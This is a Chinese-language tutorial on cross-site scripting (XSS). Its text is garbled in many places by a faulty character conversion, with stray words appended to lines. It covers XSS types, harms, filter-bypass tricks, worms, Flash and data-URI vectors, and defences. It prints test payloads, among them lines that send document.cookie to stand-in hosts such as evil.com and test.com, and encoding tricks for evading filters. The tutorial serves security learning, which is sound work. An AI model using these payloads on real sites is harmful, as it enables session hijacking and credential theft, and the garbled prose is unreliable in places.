1 什麼是XSS跨站腳本javascript
跨站腳本是一種常常出如今Web應用程序中的計算機安全漏洞,是因爲Web應用程序對用戶輸入過濾不足而產生的。攻擊者利用網站漏洞把惡意的腳本代碼注入到網頁之中,當其餘用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害者可能採起Cookie資料盜取、會話劫持、釣魚欺騙等各類攻擊。php
XSS跨站腳本自己對WEB服務器沒有直接危害,它藉助網站進行傳播,使網站的大量用戶受到攻擊。攻擊者通常經過留言、電子郵件或其餘途徑向受害者發送一個精心構造的惡意URL,當受害者在Web瀏覽器中打開該URL的時候,惡意腳本會在受害者的計算機上悄悄執行。html
2 爲何XSS跨站漏洞會如此廣泛和流行?這是由多個因素形成的java
2.一、Web 瀏覽器自己的設計是不安全的。瀏覽器包含了解析和執行JavaScript等腳本語言的能力,這些語言可用來建立各類格式豐富的功能,而瀏覽器只會執行,不會判斷數據和程序代碼是否惡意。程序員
2.二、 輸入與輸出是Web應用程序最基本的交互,在這過程之中若沒有作好安全防禦,web程序很容易會出現XSS漏洞。web
2.三、 如今的應用程序大部分是經過安全團隊合做完成的,程序員之間的水平良莠不齊,不多有人受過正規培訓,所以,開發的產品不免出現問題。瀏覽器
2.四、無論是開發人員仍是安全工程師,不少都沒有真正意識到XSS的真正危害緩存
2.五、觸發跨站腳本的方式很是簡單,只要向HTML代碼中注入腳本便可安全
3 XSS跨站腳本實例服務器
HTML的script元素標記中間包含JavaScript,這使瀏覽器知道:當它遇到這一標記時,不該該將此標記內容成HTML或XHTML,從這一點開始,對於內容的控制權已轉移給另外一個內置瀏覽器代理---腳本引擎處理。
XSS 攻擊就是將非法的JavaScript、VBscript等腳本注入到用戶瀏覽的網頁上執行,而Web瀏覽器自己的設計是不安全的,它只負責解釋和執行Javascript等腳本語言,而不會判斷代碼自己是否對用戶有害。
4 XSS 可能會給網站和用戶帶來的危害簡單歸納以下:
4.一、網絡釣魚,包括盜取各種用戶賬號;
4.二、竊取用戶cookies資料,從而獲取用戶隱私信息,或利用用戶身份進一步對網站執行操做
4.三、劫持用戶(瀏覽器)會話,從而執行任意操做,例如進行非法轉賬、強制發表日誌、 發送電子郵件等
4.四、強制彈出廣告頁面、刷流量等
4.五、網頁掛馬
4.六、進行惡意操做,例如任意纂改頁面信息、刪除文章等
4.七、進行大量的客戶端攻擊,如DDoS攻擊
4.八、獲取客戶端信息,例如用戶瀏覽歷史、真實IP、開放端口等
4.九、控制受害者機器向其餘網站發起攻擊
4.十、結合其餘漏洞,如csrf漏洞,實施進一步做惡
4.十一、提高用戶權限,包括進一步滲透網站
4.十二、傳播跨站腳本蠕蟲等
5 XSS分類
5.一、 反射型XSS
反射型xss利用通常是攻擊者經過特定手法(好比利用電子郵件),誘使用戶去訪問一個包含惡意代碼的URL,當受害者單擊這些專門設計的連接的時候,惡意javaScript代碼會直接在受害者主機上的瀏覽器執行。它的特色是隻在用戶單擊時觸發,並且只執行一次,非持久化,因此稱爲反射型跨站式腳本。
5.二、 持久性XSS
六、XSS的發掘
衆所周知,數據交互(即輸入/輸出)的地方最容易產生跨站腳本,所以,咱們能夠着重對網站的輸入框、URL參數處進行測試。固然,全部來自COOKIE、POST表單、HTTP頭的內容均可能會產生。
</textarea><script>alert(/XSS/)</script><textarea>
6.一、測試用例
<script>alert(1);</script>
<script>alert('XSS');</script>
<script src="http://www.evil.com/cookie.php"></script>
<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<IMG SRC=javascript:alert(String.fromChar(88,83,83))>
"><script>alert(0)</script>
......
6.二、XSS Filter
一、利用<>標記注射<script>Html/Javascript
若是用戶能夠爲所欲爲地引入<>等標記,那麼他就能操做一個HTML標籤,而後經過<script>標籤就能任意插入由JavaScript或Vbscript編寫的惡意腳本代碼。
如:<script>alert('XSS');</script>
所以,XSSFilter首當其衝要進行過濾和轉義的就是"<>"或<script>等字符。
如此一來,某些形式的XSS即不復存在。
二、利用HTML標籤屬性值執行XSS
假設用戶不能構造本身的HTML標記,可是他們還可使用其餘形式來執行XSS,例如HTML標籤的屬性值。
不少HTML標記中的屬性都支持javascript:[code]僞協議的形式,這個特殊的協議類型聲明瞭URL的主體是任意的JavaScript代碼,由JavaScript的解釋器運行。
因此,用戶能夠利用部分HTML標記的屬性值進行XSS,請看下面的代碼:
<table backgroup="javascript:alert(/xss/)"></table>
<img src="javascript:alert('XSS');">
三、空格回車Tab
若是XSS Filter僅僅把敏感的輸入字符例入黑名單,如對敏感自javascript而言,用戶能夠利用空格、回車和Tab鍵繞過限制,請看下面的例子:
<img src="javas cript:alert(/xss/)" width=100>
使用關鍵字拆分的技巧,用戶就能突破過濾器的限制,固然,這種技巧不侷限在[tab]鍵,還可使用回車、空格之類的其餘鍵位符。
四、對標籤屬性值轉碼
對普通HTML標記的屬性值進行過濾,用戶還能夠經過編碼處理來繞過,所以HTML中屬性值自己支持ASCII碼形式。ASCII碼,即美國信息互換標準代碼,是目前計算機最通用的編碼標準。由於計算機只能接受數字信息,ASCII碼將字符做爲數字來表示,以便計算機可以接受和處理,好比大寫字母A的ASCII碼是65
根據HTML的屬性值支持ASCII碼的特性,把XSS代碼:<img src="javascript:alert('xss');">
替換成:
<img src="javascript:alert(/xss/);">
因此,爲了防範利用HTML標籤屬性值編碼XSS,最好也過濾&#\等字符。
五、產生本身的事件
如今,假設用戶不能依靠屬性值進行跨站,那還有沒有其餘方法?答案是確定的,事件就是其中一種方法
既然事件能讓JavaScript代碼運行,就意味着用戶也能利用它執行跨站腳本如:
<img src="#" onerror=alert(/xss/)>
六、利用CSS跨站剖析
七、擾亂過濾規則
利用前面所述的各類技巧,包括HTML標籤屬性值、事件、CSS、編碼技術等,用戶能順利繞過XSS Filter的重重過濾。
程序員在汲取各類經驗後,在開發過程當中可能已經仔細考慮到各類觸發XSS的狀況,而後部署好嚴謹措施,如此一來,系統也變得更加牢固、安全。但不要太自信,請繼續看下面示例:
大小寫轉換
大小寫混淆
不用雙引號,而用單引號
不使用引號
八、利用字符編碼
HTML標籤中的某些屬性值可使用&#ASCII方式進行編碼改寫,這種XSS轉碼支持十進制和十六進制形式。
爲了方便測試,咱們接下來使用一個XSS編碼工具,以便對字符進行十進制和十六進制的編碼解碼,該工具還能夠實現ESCAPE轉碼和解碼
另外,在JavaScript中有一個eval()函數,該函數可計算字符串,並執行其中的JavaScript代碼
eval()也能夠執行10進制形式的腳本,但須要配合String.fromCharCode()函數使用。String.fromcharcode()用於將字符轉爲ASCII值。
JavaScript支持unicode、escapes、十六進制、八進制等編碼形式,這種編碼技術若是運用於跨站攻擊,無疑能大大增強XSS的威力。
九、拆分跨站法
XSS利用方式剖析
1 Cookie竊取攻擊剖析
攻擊者一般利用網站的XSS漏洞發起攻擊。假設一個網站存在存儲型XSS(或反射型XSS),攻擊者就能夠向漏洞頁面寫入竊取Cookie信息的惡意代碼,在用戶瀏覽XSS網頁時,攻擊者就可以獲取受害者當前瀏覽器中的cookie會話攻擊。
2 Cookie會話攻擊原理剖析
<script
document.location="http://www.test.com/cookie.asp?cookie ="+document.cookie
</script>
3 Cookie 欺騙實例剖析
XSS Expliot以下:
http://127.0.0.1/Search.asp?Keyword=<script>var =new Image();x.src="http://127.0.0.1/cookie.asp?cookie="+document.cookie;</script>
XSS Phishing
XSS Phishing Expliot
http://www.bug.com/index.php?s=<script=http://www.evil.com/xss.js></script>
一、XSS重定向釣魚
二、HTML注入式釣魚
三、XSS跨框架釣魚
四、Flash釣魚
4 客戶端信息刺探
1 javascript實現端口掃描
2 獲取剪貼板內容
3 獲取客戶端IP地址
5 其它惡意攻擊剖析
1 網頁掛馬
2 DDOS
3 XSS Virus/Worm
XSS測試和工具剖析
一、firebug
二、Tamper Data
三、Live HTTP Headers
四、Fiddler
五、XSS-Proxy
六、AttackAPI
七、Anehta
八、 XSS Shell
發掘XSS漏洞剖析
黑盒測試工具
一、Acunetix Web Vulnerability Scanner
二、XSSDetect
三、Ratproxy
黑盒手動測試
若是針對頁面的輸入框進行測試,首先能夠輸入一些觸發XSS的敏感字符,如:
< > " ' & #
爲了實現準確性和全面性,這裏首先選擇輸入特殊字符進行測試。在輸入框中輸入"<XSS>"'&"並提交,而後在提交後的頁面查看源代碼,根據關鍵字「XSS」查找源代碼中的"<XSS>"'&"是否已經被過濾和轉義。若是連最基本的"<>"字符未被轉義,說明這個輸入框可能存在XSS漏洞,藉此再構造完整XSS代碼測試。
XSS Worm 剖析
一個完整的XSS Worm攻擊流程以下
一、攻擊者發現目標存在XSS漏洞,而且能夠編寫XSS蠕蟲
二、利用一個宿主(如博客空間)做爲傳播源頭進行XSS攻擊
三、當其餘用戶訪問北感染的空間時,XSS蠕蟲執行如下操做
判斷用戶是否登陸,若是已登陸就執行下一步:若是沒登陸則執行其餘操做
繼續判斷用戶是否被感染,若是沒有就將其感染,若是已感染則跳過
Flash應用安全
編譯好flash文件,將文件命名爲xss.swf,而後新建一個HTML文件並嵌入該Flash文件:
<object id="test" width="200" height="150">
<param name=movie value="Movie.swf">
<embed AllowScriptAccess="always" name='test' src="xss.swf" type="application/x-shockwave-flash" width="200" height="150">
</embed>
</object>
利用嵌入web頁面中的Flash進行XSS有一個決定因素:allowScriptAccess屬性。allowScriptAccess是使用<embed>或<object>標籤引入Flash時提供的一個控制屬性,決定了Flash是否能執行腳本代碼。
Flash在客戶端提供了兩個控制屬性:allowScriptAccess屬性和allowNetworking屬性,其中AllowScriptAccess控制Flash與HTML頁面通訊,若是設置不恰當會致使XSS;而AllowNetworking控制Flash與外部網絡的通訊,若是設置不當會致使CSRF。
深刻XSS
利用Data URIS進行XSS剖析
Data URI方案和MHTML有些相似,提供了一種經過base64編碼在網頁中直接潛入文件的方法,利用該方法能夠繞過基於黑名單過濾的XSS防護系統。
Data URI 格式:
data:[<mime type>] [;charset=<charset>][;base64],<encode data>
Data URI最有趣的地方是可讓用戶把文件嵌入到其餘文件中
Data URIS XSS
data URI提供了一個在HTML或者CSS文件中嵌入圖片的方法,但沒有嚴格指定嵌入的文件必須是圖片,也就是說,咱們能夠在base64編碼後嵌入任何類型的文件,甚至HTML自己。
<a href="data:text/html;base64,PHNj......">test<a>
<object data="data:text/html;base64,PHNj......"></object>
防護XSS攻擊
一、使用XSS Filter
輸入過濾
輸出編碼
黑名單和白名單
二、定製過濾策略
三、Web定製編碼規範
四、防護DOM-Based XSS
五、其餘防護方式
XSS與字符編碼的那些事兒
html實體編碼(10進制與16進制)
如把尖括號編碼[<] ------>html十進制;< html十六進制:<
html實體編碼自己存在的意義是防止與HTML自己語義標記的衝突,可是在XSS中卻成爲了咱們的一大利器。
javascript的八進制跟十六進制
如把尖括號編碼[<] ------> js八進制:\74 js十六進制:\x3c
jsunicode編碼
如把尖括號編碼[<] ------>jsunicode:\u003c
url編碼base64
如把尖括號編碼[<] ------>url: %3c base64: PA==
HTTP請求頭
消息頭 解釋
Host 請求的域名
User-Agent 客戶端瀏覽器型號
Accept 可接受的內容類型
Accept-Language 可接受的語言
Accept-Encoding 可接受的壓縮類型
Accept-Charset 可接受的內容編碼
Cookie 客戶端的用戶Cookie
if-Modified-Since 客戶端的緩存的最後修改時間
if-None-Match 客戶端緩存文件的標示符
HTTP響應報頭
消息頭 解釋
Server Web服務器軟件名稱
Vary 告訴下游代理是使用緩存響應仍是從原始服務請求
Date 原始服務器消息發出的時間
Last-Modified 請求資源的最後修改時間
Location 用來重定向接收方到非請求URL的位置來完成請求或標識新的資源
Content-Encoding Web服務器支持的返回內容壓縮編碼類型
Content-Type 返回內容的MIME類型
Content-Length 響應體的長度
Content-Language 響應的語言